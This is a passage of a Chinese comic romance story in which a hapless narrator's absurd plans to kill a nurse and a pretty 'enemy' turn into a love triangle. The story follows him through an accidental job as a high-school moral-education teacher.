人家突然一问我就答了:“我要跟踪一个漂亮的戴眼镜小护士……”

说完我当然後悔了,於是转身一看,我要跟踪的人就在在我身後笑。

她的笑很好看,但一定是取笑的那种笑,因此她对我笑我一点都不领情,我还是要杀了她。

虽然我决心杀了她,但企图跟踪人家的这个小阴谋被拆穿的时候,我还是觉得非常尴尬。

因为尴尬,我的脸就红了,我脸红的时候总是说不出话来。

小护士胸前抱著个讲义夹,假装东张西望。不时瞄我一眼,然後偷笑。

笑完就说:“戴眼镜的小护士是有一个,不过不漂亮。”

我的脸像著了火,真是糟糕,世界上恐怕没有比我更怕羞的杀人犯了……

“你为什麽要跟踪人家呀?”小护士显然是在审问我。

哼!我必须拿出民族精神,宁死不招!

我说我不说我就是不说。她说你说嘛你说嘛别不好意思。我说我还是不说不管你怎麽问总之我就是不说。

她像不倒翁似的一俯一仰,张嘴作大笑状,然後又说:“你真逗。”

我不太明白她这话的意思,可能是绕著弯子骂我,就算不是骂我我也不能饶了她。

小护士忽然对我说:“我家就在前面一百米那个红砖楼房,要不要去喝茶。”

这真是件匪夷所思的事情,我正蓄意杀人灭口的这个小护士竟然问我去不去她家喝茶?

这里一定有阴谋……啊!对了,她想在茶里放老鼠药把我毒死!

她这叫先发制人,正所谓“量小非女子,无毒不老婆”!!!

想清楚了这层,我倒有点心虚了。

小护士连哄带骗:“没事,我家人中午不回来,走吧。”

废话,回来还能由得你对我这大好青年下毒手?想著想著,我还是被她带进了她家。

这是个大房子,有钱人才住这样的大房子,我必须看清楚来路,否则会困在这里找不到出口。

小护士家里果然没人,我想我应该在她毒死我之前把她干掉,但我忘记把凶器带在身上了。

我想我有足够的力气把这小丫头掐死,但不能在客厅,最合适的杀人场所应该是浴室和卧室。

这麽想著,我就说:“我想去你的卧室,你去吗?”

小护士说:“咦?你想打我的坏主意呀?”

天啊!她竟然能看穿我的心思!?

我一惊之下,结结巴巴:“不不不不是,我我我我没有,你你你你胡说……”

小护士歪著头走到我的跟前,脸上似笑非笑,盯著我看,看得我直擦汗,不明白她要干什麽。

却听她说:“有时我真的觉得你好奇怪,你是天生就这麽逗?还是因为想泡我故意装出来的?”

这话我就不明白了,骂我“逗”倒还罢了,怎麽会以为我“想泡我”还“故意装出来”???

她见我发著呆不吭气,就使劲皱起眉头(虽然使劲皱,但一点不像生气的样子)。

她“生气”地说:“快说快说,我知道你在想什麽!”

完蛋了,这个小护士太可怕了!

我只好老实告诉她:“你知道我有杀人动机,所以我想把你杀了灭口……”

小护士愣愣地看了我半晌,忽然“哈哈”大笑,笑得几乎站不住,一只手抓住我的左肩。

她肯定是在嘲笑我,说我不自量力……

也许她也是武校出身的,说不定比我的仇人还能打,不然她明知道我要杀她为何还笑得那麽开心呢?

鉴於这点,我只好放弃了行凶的企图。

下一步该作些什麽?我的头脑一片空白……

小护士笑个不停,我知道她一点不把我的威胁看在眼里。

既然如此,我也只好站著发呆,看她能把我怎麽样!反正我没带凶器,她不能对我这样手无寸铁的男人动手。

小护士好不容易笑完了,拉著我的手:“好吧,我带你看我的卧室去。”

她的手软软的,不像是个会家子的,再看她这身架,轻飘飘的……看来……也许……是我多虑了……

小护士的卧室像个幼儿园小娃娃的房间,有很多毛狨狨的狗啊熊啊的,这玩意使劲砸人头上也出不了事。

小护士笑嘻嘻地说:“随便坐。”

这里只有一把椅子,已经被一头毛毛熊给占了,能坐的地方就剩那张花花绿绿的床了。

我谨慎地摸索了一下,小护士问怎麽啦,我说看看有没有什麽机关,小护士又笑个不停。

我想她属於那种天生爱笑的女孩子。不过,我得确认一下自己先前的那个猜想。

我问:“你……你能告诉我你为什麽不害怕我吗?”

小护士说:“害怕你???你有什麽可怕的?”

这话可真有点伤人自尊,如果属实的话,我可真是个不合格的杀人凶手。

当然,我还得把话题继续下去,我又问:“我说过我要杀你灭口呀?”

小护士勉强把笑忍住,说:“原来你到我卧室里来就为这事呀!”

我使劲点了点头,绷著脸说:“现在你怕了吗?”

小护士推了我一把,说:“得了吧你!”

然後提了个莫名其妙的建议:“走吧,我肚子饿了,请我吃饭!”

我吃惊地问:“为什麽?”

小护士的回答是:“我懒得下厨,做出来你又不一定爱吃,毕竟我们才刚开始嘛。”

什麽叫“刚开始”?开始什麽呀?我糊涂了……

稀里糊涂的,我们就到街上,找到了家饭店,点起了菜来。

小护士的胃口好象很大,点个不停。

而我则忧心忡忡,因为我口袋里只有十六块五毛钱……

也许小护士知道我口袋里没什麽钱,想把我困在这个饭店里刷碗筷……

我不能上她的当,所以我就厚著脸皮问她:“你带钱了吗?”

“干嘛!”小护士白了我一眼,“说好你请的嘛!”

我把口袋里的那些皱巴巴的纸币全堆到桌子上,可怜巴巴地说:“就剩这些了……”

小护士张著嘴看著我,喃喃道:“你……你不会吧……”

然後打开小提包掏东西,说:“男孩子出门怎麽可以不带钱呢?”

她拿了两张大票塞到我手里,说:“我先借你两百块钱,反正第一次吃饭得你请我。”

我抓了抓头,这真是件尴尬的事,看来这个人情是欠定了。

也许,小护士算计到,我不会对一个欠过人情的人下毒手。这丫头可真不简单呀!

算了,反正我也饿了,先填饱肚子再做打算。

这顿饭吃了八十块钱,足够我一个星期的快餐费,我想把剩下的一百二十块钱还给她她却不要。

她说:“要还一起还,我又不是按揭房地产。”

没办法,我只好灰溜溜地跟在她後面谁让我欠了她的钱。

小护士问:“对了,你是干什麽工作的?”

我如实回答:“还没找到工作,整天就街上瞎逛。”

小护士跳了起来,揽住我的手臂,欢呼似的:“太棒了,我还担心你下午没空呢!”

我问:“干嘛?”

小护士脸贴得很近,说:“我下午没班,你陪我去瞎逛好吗?嘻嘻~~~”

我想我现在的头一个有两个大,怎麽杀个人杀出这般光景来了?真叫人百思不得其解……(何况,这还不是正主。)

之後,我们就瞎逛了一个下午。

小护士尽挑大商场逛,买了很多狗熊猫咪,都让我给捧著。

末了,又非要我买个东西送给她,我买了个五毛钱的口香糖送她她又不乐意。

最後被逼著买了条叮当作响的手链,──刚好136 块,把我身上原本剩的都掏空了……

小护士好像傻傻的,应该不会对我的计划有什麽影响,因此我尽可以将“灭口”这件事搁下。

由於前两天的一时疏忽让我的仇人又多活了好几天,真令人恼火。

但随後我一直找不到那把凶器,不知是不是让小护士给偷走了。

口袋里一分钱也没有……这是件叫人头疼的事……

没办法,我不得不在成为杀人犯之前干一回抢劫勾当。

为了安全起见,我选择学龄儿童作为作案目标,他们有钱而且脆弱。

这麽干除了有点不要脸,应该没什麽别的难度。

这念头刚萌生,就有个背著大书包的小子从我面前跑过。

时机说来就来,我搓了搓手就扑了上去。

耳边却响起一个女人的尖叫声。

我正纳闷,背心被什麽撞了一下……然後我想我就晕倒了……

醒来的时候,我又在医院里了。

身边坐著一个漂亮的女孩,仔细一看,天啊!竟然是我的仇人!!!

漂亮仇人见我醒了,就和我说话:“醒啦~~~觉得怎麽样?”

我早傻了眼,吞吞吐吐:“你说……怎麽样就……就怎麽样,反正落到你手里……算我……”

漂亮仇人愣了一下,嘴里小声念叨著:“不会是头给撞坏了吧……”

然後,叫唤道:“小子,你的救命恩人醒了,还不快过来说谢谢。”

病房里又多了个小孩,正是我刚才企图打劫的那个。

在我那漂亮仇人的讲解下,我才知道我原来是个“舍己救人”的“英雄”……

当时,那小家夥横穿马路,一辆摩托车刹车不及,眼看就要撞上,然後我扑了上去,被撞了但没死……

劫匪没当成倒先成了“英雄”……显然这老天在跟老子作对……不然也不会凑巧那小孩就是我那漂亮仇人的弟弟。

拍过片後医生说我没事不用住院,漂亮仇人问“他都晕倒了怎麽还说没事?”

那天杀的医生竟然说“大概是吓晕了吧”……真他妈没面子……

於是漂亮仇人就高兴了“既然没事,我可要先好好谢谢你了,走吧,请你吃饭!”

“又吃饭!!!”我大惊失色。“你……你请哦……”

漂亮仇人笑著看著我:“没问题,走吧。”

换好了衣服,我跟著漂亮仇人走。

在病房门口,医生向我招手:“有空常来~~~”

在医院门口,我碰见了小护士……

小护士看见我就喜形於色,像欢呼似的喊道:“呀!你又住院来了!”好象巴不得我天天来住院似的……

我正不知怎麽回答,小护士又叫起来了:“呀!她是谁呀?”

小护士问的是我的漂亮仇人,这时我才发现原来我还不知道这个仇人的名字。

我支支吾吾,小护士脸上的笑容没了,撅起了小嘴。

我把头皮屑抓得满天飞。

漂亮仇人看了看我,又看了看小护士,微笑著对小护士说:

“别误会,他是我弟弟的救命恩人,我是道谢来的。”

“哦?”

“我们正打算去吃饭,一起去吧!”

小护士毫不犹豫地答应了:“等著,我请假去!”

……

真是的,我今年难道又犯太岁了?两个最头疼的人物竟凑在一起,而我却被夹在中间……

……

漂亮仇人选择的餐厅比上次小护士去的那家要高档。

於是小护士偷偷对我说:“你别告诉我你身上又没带钱。”

我说“我就是没带”,我想她是向我讨债,反正要钱没有要命一条。

“你你你……唉……”小护士又要掏提包。

我赶紧抓住她的手制止:“别忙,人家说好要请客的!”──我可不能让这笔债务升级。

小护士使劲跺脚,我抓著她的手就是不放。

小护士没辙,就转移话题:“这个女人到底是谁呀?”

我神秘兮兮地对小护士说:“她就是我要杀的人!”

“啊!!!她就是你的……”小护士“啊”了好大一声,把我吓得差点没背过气去。

“嘘~~~我的天,你不能小声点……”

小护士吊著大眼睛想了想,脸上忽然又露出不高兴的表情。

她说:“你这个坏蛋!怎麽每个漂亮女孩你都想杀呀?”

我辩解道:“她是我的仇人呀?!”

小护士问:“那我呢?”

“你?”我愣了一下“你什麽?”

小护士说:“你昨天不是也说要杀我吗?那我算什麽?”

我回答:“你是个活口…”

小护士又问:“什麽叫活口?”

我又回答:“杀人灭口的灭口的过去式!”

小护士呆呆地看著我,然後哈哈大笑。笑完突然板起脸,使劲“哼”了一声。

她说:“原来她才是主角呀?……不行不行!!!气死我了!!!”

这时,漂亮仇人忽然冒了出来,红著脸轻声问:“可以到里面边吃边谈吗?”

我环视四周,不知道什麽时候围了十几个人在听我们对话,漂亮仇人和她弟弟显然也是其中之二……

这顿饭吃得很不自在,两个女人都脸红红的不吭声。倒是漂亮仇人的弟弟在一边叽叽歪歪没完没了。

那小子一会儿取笑我“哈哈,吓晕的”,一会儿又逼问我“你和我姐姐真的有仇吗?”

末了,还提醒我:“我姐姐很厉害的,你一定打不过她。”

漂亮仇人的脸红得厉害,一个劲地冲那小子使眼色,却又不好意思吭声。

小护士忍著不笑,忍到最後忍不住了,把饭喷了我一脸……

吃完饭後,漂亮仇人抄了个手机号码给我,什麽话也没说红著脸跑掉了。

我急了,我以为她还没买单,小护士拉著我不让我追,还好後来服务生说已经买过了。

离开餐馆後,小护士盯了我一整天,她似乎还是不放心怕我又琢磨著去谋杀我的漂亮仇人。

其实,我已经基本上打消了这个念头。

漂亮仇人是个很害羞的女孩,所以以前才会看都不看我一眼。既然这样,我把她当成仇人也纯属误会。

至於身边这个所谓的“活口”只怕也不能成立了,唯一头疼的是……我欠了人家的钱。

在这以後,我身边就多了这样两个女孩子,时间一久我就发现自己负债累累,为了还清这笔债,我得找份工作。

於是,我去应聘当了中学老师。

那天去应聘的大致情况是这样的,我拿了应聘表格后先去尿尿。

正尿一半,一个胖老头风风火火奔了进来,挤到我身边放声大尿,却把我夹在胳肢窝里的那卷表格碰到尿槽里去了。

哗啦啦之余,那张表格成了深黄色。

如果拿深黄色的表格去应聘,肯定黄!于是我扯着胖老头要他赔。

胖老头说他有个紧急会议我说我不管你不赔我不放你走。

最后,胖老头掏出笔纸,急走龙蛇写了几个字塞到我手里,气呼呼地说:“拿去!比表格管用!”

我没看懂纸上都写了些什么,但就凭着这张纸,我得到了中学老师这份工作。

包括校长在内的学校领导都对我礼数有加,后来我才知道一起尿尿的那个胖老头是教育部的高官。

校方大概以为我是那高官的亲戚吧。

很快我就得到了工作安排,成了高中部文科班的德育老师。

我把这件事跟小护士说了,她哈哈大笑,硬是说打死也不相信;

我又把这件事跟漂亮仇人说,她也哈哈大笑,但没说打死也不信。

不管她们俩相信不相信,第二天我都准时去学校报到了,因为我欠她们钱只能从这里着落。

以前我只当过学生没当过老师,于是有点迫不及待,上课铃还没响我就跑到教室里。

里边吵吵闹闹的,感觉很亲切,这让我回忆起多年前揪女同学辫子的美好时光。

可惜现在的女学生都不留辫子了,不然我肯定还是抑制不了揪揪的冲动。

我在教室里转悠了一阵,然后凑到一圈小男生当中,看他们打扑克。

后来不知什么时候我也加入了,这帮学生奸得很,只打了几盘,我就输了八毛钱……

大家知道,我身上根本一毛钱都没有。

正想开溜,上课铃就响了,赢钱的那两个小子拉着我不放:“快给钱快给钱,老师快来了。”

我挣脱他们的纠缠,撒腿就逃:“下回给你,今天没带。”

小男生们跑不过我,况且上课了他们也不敢追出来要债,只好在背后大声叫骂。

这让我好一阵子得意,以为捡了个大便宜。

后来,我发现事情原来没那么简单,我还得回去……

因为,我是这个班的德育老师,这节就是我的课……

真够倒霉的,课还没上就欠了学生的钱……

没法子,我只能硬着头皮走回教室。

在门口,我偷偷探头瞧了瞧,发现四十几双眼睛全向我瞄过来,其中自然有赢我钱的那两双……

一惊之下,我又把头缩了回去,教室里传来叫人发窘的笑声。

唉……为了月底的薪水,龙潭虎穴也得闯!于是我豁出去了,大踏步走上了讲台。

可能鉴于我的威严,学生们当场发起呆来,整个教室安静得像太平间。

哈哈,这就是当老师的乐趣吧,我洋洋自得,但很快我又发现我再次陷入窘境。

我该说些什么呢?我记得以前当学生的时候老师总是口若悬河,而我却从没记住都说过些什么……

四十几个学生和我对看了半天,我还是没能想出话来说。

台下开始叽叽喳喳起来,一个女学生忍不住站起来问我:“请问,你……你是老师吗?”

有人打开话匣子,这再好不过了,我赶紧回答:“废话,不是老师我来这干嘛?”

接着我就开始有点口若悬河了:“大家伙听好了,我是你们的德育老师,今天天气有点凉,谁要没多穿衣服赶紧回家添去!”

课堂活跃起来,小女生们开始色迷迷地盯着我看,而刚才赢我钱的那两个小子早吓得面如土色,在座位上发着抖。

虽然现在我的阶层要比他们高一个级别,但我毕竟不是无赖,于是我指了指那两个男生,问他们的名字。

然后很恳切地对他们说:“刚才打牌输了你们八毛钱,等我发工资了一定还!”

两个小男生脸红红的,其中一个说:“老师对不起,以后我们不打牌就是了……赌博不好……”

我并不觉得打牌有什么不好,我说:“大家赌的运气,拼的是才智,我怎么看不出哪不好啦?”

小男生脸更红了,支支吾吾:“老师,我知道错了……”

学生们似乎存心要把我这个老师摆到一个受尊敬的位置,我也不再争辩。

我问他们都喜欢谈什么话题,没人回答。于是我就说一些我喜欢的话题。

我告诉他们我在读书的时候非常喜欢揪女同学的辫子,还跟他们探讨要怎么揪才好玩。

我还告诉他们我在高中时追女孩子的事……

一堂课上完,学生们都说“老师我们爱死你了!”

放学的时候,有一大群女生争着要请我吃冰淇淋,我来者不拒,一口气干掉了一打。

结果回家后闹肚子,上吐下泻,苦不堪言……

原来,当老师还真不是件轻松的事。

小护士打电话来听说我病了,乐得跟什么似的,大叫:“好啊好啊!-教室里。

过去了半个月,当老师于我还算是件轻松的工作。

无外乎每天花一两个四十五分钟和一大帮学生打屁聊天。

虽然我从不带教科书,但由于学生们的反映不错,校领导对我还是非常“赏识”的。

还说:“上面派来的人果然非同凡响!”这无疑应该归功于一起尿尿的那个胖子。

这天,闲着无聊,和班里几个男孩子凑在一起打牌,小护士就来找我了。

小护士揪着一个学生质问:“这家伙真的是你们的老师吗?” 她始终不相信我当了老师。

学生的回答令我很得意,他说:“他是我们最好的老师了!”

小护士有点不死心,继续逼问:“是不是他逼你们这么说的?”

我怕把学生们吓着,拉着她就往外跑,学生们在后面接 “老师的女朋友好好玩哦”。

虽然确认了我没撒谎,小护士似乎还是不放心一件事:“你不会再犯老毛病吧?”

“什么老毛病?”

“比如,我看这个班里有几个小丫头长得挺标志的,你不会想谋杀她们吧?”

“她们既跟我没仇,又不是活口,我杀那干嘛?”

说着说着,我们就走到了校门口。小护士忽然又问:“你的漂亮仇人常来找你吗?”

我赶紧摇头:“才没有,她找我干嘛?”

“那前面那个是谁呀?”

我顺着她的手指看过去,漂亮仇人正朝这边走过来。

以前她从来没正眼看我,气得我直想杀人,而现在她却跑来学校找我,真是造化!

忘形之下,我挥手大叫,却被小护士狠狠地撞了一下肋骨,半天没喘过气来。

漂亮仇人听到我的声音,便兴冲冲地跑过来。

小护士没等她开口,坚持逼问的口气:“你来找他干嘛?”

漂亮仇人一愣一窘,脸就红了:“什么呀?我…我碰巧经过这。”

然后瞄了我一眼,说:“你……你真的当老师了呀?”

小护士在一旁嘀咕“装蒜”,我不理她,赶紧应道:“当然当然,再过半个月就有工资发了。”

我得让她俩知道这点,免得今天的中午饭又要去抢学生的饭盒。

不过话说回来了,学生们还是很乐意我去抢他们的饭盒,尤其是那几个女学生。

正说着,她们就来了,每人手里都揣着个饭盒东张西望。

“奇怪,今天老师不饿吗?”

“听说,老师的女朋友来找他了。”

“老师有女朋友了?”

“听那些臭男生说的也。”

“呜~~~”

这个中午是小护士请客,没让我的债务升级。我们就在学校门口的快餐店开饭。

那几个女学生躲在餐厅的角落里 ,很不甘心地瞧着小护士和仇人。

小护士认为自己就是我的女朋友,我不能反对,因为我欠了她不少钱。

漂亮仇人的态度就不明确了,她总是不太说话,但好象很喜欢打电话到我家,而且我也经常能偶然碰见她。

学生们既然认为她们俩都是我的女朋友,那就暂时当那么一回事吧,至少目前为止我还没亏了什么。

我告诉她们下午没我的课,漂亮仇人就说:“那……你们一起到我家玩吧。”

小护士急了:“我下午有班,不能去,你也不许去!”

我支支吾吾说看看吧也许不去……后来小护士的手机响了,匆匆忙忙走了,临走前叮咛 “一定不许去”。

其实我是很想去的,漂亮仇人在我心目中还很神秘,我太想多知道点她的事情了。

于是小护士一走我就说,我想去。

漂亮仇人冲着我微笑,我很喜欢她的微笑,也更坚定了去她家的决心。

这时一个女学生忽然出现在我身边,悄悄说:“老师,你要把持住自己哦~~~”

我不明白,也悄悄说:“什么叫做‘把持住自己’?”

女学生神秘兮兮地说:“这个女人一定是对你不怀好意,你要小心别失身了。”

我吃了一惊,大声问道:“这是高中女学生该说的话吗???”

我的声音很大,把女学生们吓得一溜烟全不见了踪影。然后周围只剩下漂亮仇人羞涩的眼睛正盯着我看……

我有点怀疑女学生的话也许不能全部不当回事。不过,失身好象也算不得什么大事。

这么一想,我就很舒坦地跟着漂亮仇人走在了去她家的路上。

“我们认识了半个多月了吧?”漂亮仇人问的是一句废话。

“是的,我们半个多月前认识的。”我回答的也是一句废话。

“可是,你好象很久以前就认识我了?”漂亮仇人似乎下决心好好利用这段路来盘问我。

“很久了……也不是很久……”这个问题我确实不太懂得回答。

“其实,我一直想弄明白,你和小护士谈的那个……那个‘谋杀’什么的……是啥意思……”

啊!她果然是在盘问我……

“我……我当时……”我抓着头,这事还真不好解释,算了,直接了当,“我当时想谋杀你!”

本以为漂亮仇人一定勃然大怒,却想不到她竟脸红了,稍微撅起了小嘴,眼睛骨碌骨碌直转。

我有点害怕,不知道她会怎么对付我……

我在去漂亮仇人家的路上坦白了自己半个月前的犯罪企图,余下的时间只有听天由命了。

“能告诉我原因吗?”漂亮仇人的语气怪怪的,但我可以肯定,这绝不是一种质问。

既然不是质问,我回答起来就轻松多了,我很坦白:“因为你长得漂亮,可是却不看我一眼。”

漂亮仇人不再说话了,一路上都在偷笑,我只好老老实实地跟在她后面,屁也不敢放一个。

正走着,忽然闯来一个劫匪,对我们嚷嚷:“我要抢你们的钱!”

我耸了耸肩:“我身上可没钱,你抢她看看。”

虽然很早以前我就知道漂亮仇人很能打,但从来没见识过,我想这时刚好是个机会。

漂亮仇人好象没有教训对方的冲动,只是问:“你要多少?”

“五……五十块!”劫匪的胃口还真不小,不过在光天化日之下公然抢劫,倒也勇气可嘉。

漂亮仇人打开提包,掏出一张百元钞票,说:“没有零的了,有得找吗?”

劫匪不客气地把钱拿了就走,说:“那就当被我抢了两回好了,走了。”
  
漂亮仇人原来这么胆小,后来她又补充,“再说,在大街上和男人打架会被人笑话的。”

我有点怀疑以前是错觉,也许漂亮仇人并不会什么功夫,但还不能确定。

这么想着,我就非常想证实一下,当然,在大街上是不行的,等到了她家再说。

“你会功夫吗?”一到她家,我就忍不住心里的好奇。

“会呀,我爸爸开武校的,已经学很久了。”漂亮仇人点了点头。

“我不太相信。”我说。

“嘻嘻,那你要不要试试看,反正家里没人。”漂亮仇人用开玩笑的语气说的,但我却真的很想试试。

虽然有点担心,我还是试了。一试我就后悔了,才刚出手,就被她勾了一脚,当场摔了个半死。

但我还是不服气,爬起来又往她身上扑,漂亮仇人看我摔的狼狈样就直笑,一笑就被我扑倒在她家的长沙发上。

漂亮仇人个子不大,一被我压住就没辙了。我说“嘿嘿我赢了”她说“哼不算”。

她的身体软软的,第一次这么压在女孩的身上,我感到很冲动,于是腾出一只手摸她的脸。

漂亮仇人脸红得像苹果一样,慌张地说:“快起来,这像什么话?”

她害羞的样子好可爱,我忍不住吻了她的嘴。

原来,我是可以打赢漂亮仇人,还好当初那个谋杀计划没有兑现,否则真不知现在会怎样。

忽听身后传来开门的声音,然后一个男低音大叫:“我的天,你们在干什么!?”
  
男低音就是漂亮仇人的老爸,我以为他会把我给宰了,却听他念念有词:“哦,女儿长大了…” 然后就走了。

这真是件尴尬的事,我想我的脸一定和漂亮仇人一样红。

我赶紧从沙发上爬了起来,漂亮仇人也慌忙坐了起来,低着头整理衣服,不看我。

我想她一定很生气,我以为她会放声大哭,但我实在不知道该怎么办才好。

沉默了好半天,漂亮仇人忽然站了起来,走到我跟前,然后一膝盖撞在我的肚子上。

这下来得太过突然,我疼得差点昏过去,好久都没喘过气来。

却听她说:“以后不许你去找小护士。”

我虽然有点笨,但这话我还是能听懂的,可是,即使这样,也不能打人呀?

不过既然现在已经确定了我们的关系,以后有的是机会揍还给她。

“本来想留你吃晚饭的,可是刚才被爸爸看见了那个样子,还是以后吧。”漂亮仇人说。

那个下午我们就没再打架了,和她谈了不少当老师的趣事,快黄昏的时候,就把我打发走了。

现在,摆在我面前有一个很大的难题,那就是小护士该怎么办。

后来我想,漂亮仇人只是规定我“不许去找小护士”,可没有规定“不许小护士找你”。

所以我也大可不必担心那么多,今天虽然有点越轨,却还没到女学生说的 “失身”那个地步。

既然彼此还没“失身”,那就是还没签定什么契约。因此和小护士继续交往也不能算是过分的事。

回家的路上,我心里老在这个问题上做斗争,看来,我还是非常在乎小护士的。

我有点担心见到小护士的时候该怎么跟她解释今天下午的事。

想啊想啊我就到家了,一进门我才发现原来我到的不是自己的家,而是小护士家……

“你今天下午是不是和你的漂亮仇人去她家了?”小护士一见我来就这么问,连让我缓口气的机会都没有。

小护士是个聪明的女孩,我不敢隐瞒,就老实回答:“是的。”

“你和她有没有做出什么坏事?”

我猜她所说的“坏事”应该是指“失身”,于是赶紧摇头:“没有,就是打了会儿架。”

小护士的脸色很不好看,我不能让她知道我吻了漂亮仇人这个细节。

“那你们谁打赢了?”

“哈哈,当然是我赢了。”一说这事我就得意,“她被我压在沙发上动都不能动。”

话一出口我就知道大事不好。

小护士哭了。

我知道刚才说了那句话一定不会有好下场,却没想到这么严重。

女孩子的眼泪有时是世界上最具杀伤力的东西,至少现在的我像热锅里的蚂蚁,急得连安慰的话也说不出来。
   
究竟后来我是怎么把这个场面扭转过来我?不记得了,或许根本就没扭转过来,反正我现在正傻傻地站在夜晚的大街上,一个人,发呆。

直到这个时候,我才发现自己已经学会恋爱了,可是我究竟更喜欢哪一个呢?

这样的难题本不应该困扰我这样的人,在大街上,我站了一夜,也顺便备好了第二天的课。

“同学们好!”

“老师好!”

“老师不好!”我垂头丧气地说。

一个聪明伶俐的女学生站起来:“老师失恋了吗?”

“不是,我……我想和大家讨论件事。”我不得不把这个私人问题搬出来和学生们探讨,因为我只有他们这四十几个朋友。

我把我和小护士和漂亮仇人的故事说个同学们听,然后出了个题目:“老师该怎么办?”

学生们在班干部的组织下开始分组讨论,不少人都发了言,但是他们的意见很不统一。

有的建议我甩了小护士专心追漂亮仇人,有的建议我甩了漂亮仇人追小护士。

更多的女学生认为把她们两个都甩了才是上策,我知道第三个建议里边有感情用事的成分,不可取。

而前两个建议显然也不可取,赢我钱的那两个男生则认为,两个一起追。

因为大家的意见彼此针锋相对,男生们和女生们吵得不可开交,课堂秩序一度失控。

我觉得好烦。于是就离开了教室。当然,烦我的是心事,不是学生们的错。

临走时我叫他们每人就这件事写一篇八百字的议论文,明天交。

这是我第一次给学生留作业,而学生们也史无前例地对老师留的作业充满了热情,齐声叫“好!”

离开教室的时候我碰见了校长,他拍着我的肩膀说:“你可真有一套!”

我目光呆滞,像一头死鱼。

校长还说:“你的刚才的课我在外面听了,非常有新意。像你这样的人才不多见呀!”

我目光呆滞,像一头死鱼。

校长还说:“我从教三十多年,还从没听过如此生动的一课,刚才,你不仅给学生们上了精彩的人生一课,也给我上了一课。”

我目光呆滞,像一头死鱼。

校长还说:“过些时候市里要评个‘先进园丁奖’,我一定把你报上去。好好干,小伙子!”

校长说着就走了,我还是目光呆滞,像一头死鱼,顺着人流,漂呀漂呀,哪怕是三年没钓上一条鱼的钓者,也不会对我这条死得发臭的鱼感兴趣。

大街上人来人往,我的头有点痛,可能我这个人不适合思考太复杂的问题。在这个时候最好的办法就是赶紧忘掉这些,找点什么事做。

正走着,一个女孩跑过来盯着我看。我也看了看她,觉得有点面熟,我等着她说话。

“今天你看起来好象很帅!”女孩说。

我有点高兴,受恭维本来就是件开心的事,只是我不能把这种开心表现出来,不然会显得很虚荣。我假装客气:“不会吧?怎么会呀?”

“啊!对不起,看错了。”女孩说完就跑了。

我有些失望,原来我今天很帅是因为看错了……也就是说,如果没看错的话,我今天还是很不帅。

不过,话又说回来,如果今天我很不帅,那昨天我一定很帅,前天也是。

要是这样的话,我倒宁可今天不帅一些。因为,如果一个女孩对你说“今天你看起来很不帅”,那一定表示平常你“一直是帅的”。

那么,女孩到底是说我今天“很帅”还是“很不帅”呢?

为了搞清楚这个问题,我追了上去,抓住那个女孩,问:“今天我看起来到底是很帅还是很不帅?”

女孩冲着我笑,用肩膀撞了一下我的胸口,我有些茫然,她却说:“人家今天忘记带眼镜啦~”

原来女孩是因为忘记了戴眼镜,所以才说我今天看起来很帅,也就是说,今天的我看起来比较模糊。真是的……

搞清楚问题后,正想离开,女孩却拉着我的手,说:“走吧,玩去!”

“走哪?玩啥?”我问。

“该走哪走哪,该玩啥玩啥呗~”这时,我发现女孩和我靠得非常近,还揽着我的手臂。

“你是谁呀?”我终于忍不住问。

“去你的,又来这套!”女孩撅起了小嘴,然后我就认出来了,她是小护士,没戴眼镜的小护士。

没戴眼镜的小护士像个小孩子,不过很可爱的样子。

“我想清楚了。”小护士说。

我不支声,她就问我为什么不问她想清楚了什么,我说我知道你会说的她说我真没劲。

虽然’没劲’,她还是把下文说给我听了:“我不能退缩,我要打败你的漂亮仇人。”

“你打得过她吗?”我抓着头,迷惑地看着她。

“人家说的不是打架啦~~ 哎呀!你怎么老这样呀?真是的!”小护士皱着眉头又用肩膀撞我的胸口。

不是打架是什么?我老是怎么样了?真是什么呀?

看来人们常说的女人难懂就是这么一回事,好在我已经习惯了。

现在我不必支声,任由她拉着我到处乱走,虽然有些事情让我陷入困境,现实中却依旧可以用轻松的心态去面对。

如果在生活中找不到方向,那我就象现在这样,任着别人的手拉着四处乱走,终点在哪总有明朗的一刻。

--------------------------

“同学们好!”

“老师好!!!”

“同学们辛苦了!”

“为人民服务!!!”

显然,今天我的心情比昨天要好得多了,同学们看我精神抖擞的样子,也情绪高涨。

班长把大家的作业整整齐齐地盛了上来,这可有点头疼,四十几个人,每人八百字,三万多个字呀……

对了,我可以给小护士和漂亮仇人每人安排一万字,这么一琢磨,我就轻松多了。

于是我说:“今天我们来点什么呢?”

一个学生起立发言:“开个记者招待会吧!”

“我当记者,你们当领导人!”

“不行,我们当记者,你当领导人!”学生们齐声说,看来他们早商量好了。

“好吧好吧,谁让你们人多呢。”我只好妥协。“发言之前请举手。”

四十几个人举起了五十几只手,好象还有人把脚也举起来了,这表示我是个问题人物,大家都有很多问题要问。

“第三排穿白色裙子的女同志,你先来!”

“请问首长同志,你是处男吗?”

我靠……

今天的课上得尤其辛苦,还好明天要过个国际什么什么节,可以休息一天。学生们当然也知道我今天很辛苦,所以决定明天请我一起去郊游,用他们的话说是:为了报答老师的对我们不辞劳苦的殷殷教诲。

因为过节,学校提前发了奖金,我作为教师队伍的“新锐”,奖金据说比别人的丰厚得多。

校长笑咪咪地看着我,我怕他又来拍我的肩膀,拿了钱赶紧就跑。

有了钱,第一步就是还债,我该先找谁呢?正琢磨,漂亮仇人来了。

“嘻嘻,你又碰巧经过我们学校了呀?”我赶紧打招呼。

漂亮仇人咬着嘴唇,笑着给了我一拳,不是很疼。

她说:“下午有空吗?”

漂亮仇人说她下午要参加个武术大赛,问我去不去看,这我肯定不会拒绝的。看热闹本来就是件很好玩的事。

在比赛场馆的看台上,我碰上了班里的一帮学生,于是我带有炫耀意味地指着漂亮仇人说:“你们瞧,那就是我的漂亮仇人。”

这引起了学生们不小的骚动,漂亮仇人穿上红色的绸制练功服看起来就像另一个人,但她就是漂亮,所有参赛的选手她是最醒目的一个。

她出场的时候拿着一把银光闪闪的刀,我没怎么注意她都瞎舞些什么,因为我的视线始终停留在她被衣服映红的小脸上。

后来有个女学生扯了扯我的衣服,说:“老师比较喜欢漂亮仇人吧?”我问为什么这么说她说从眼神里看出来的。我问她带没带镜子她说没有……我也想看看我的眼神是什么样的……

没有镜子,我就没办法证实我的眼神是不是真的看起来比较喜欢漂亮仇人,但经女学生的这一提醒,我就不由想起了小护士。

昨天我们逛到西湖,坐在湖边的草坪上看夕阳,她就靠在我的怀里吸溜吸溜地睡着了,当时我就盯着她的脸蛋看,看了很久很久,感觉好象跟今天是一样的。

所以,如果女学生昨天也在西湖的话,她恐怕会说:“老师比较喜欢小护士吧?”

--------------------------

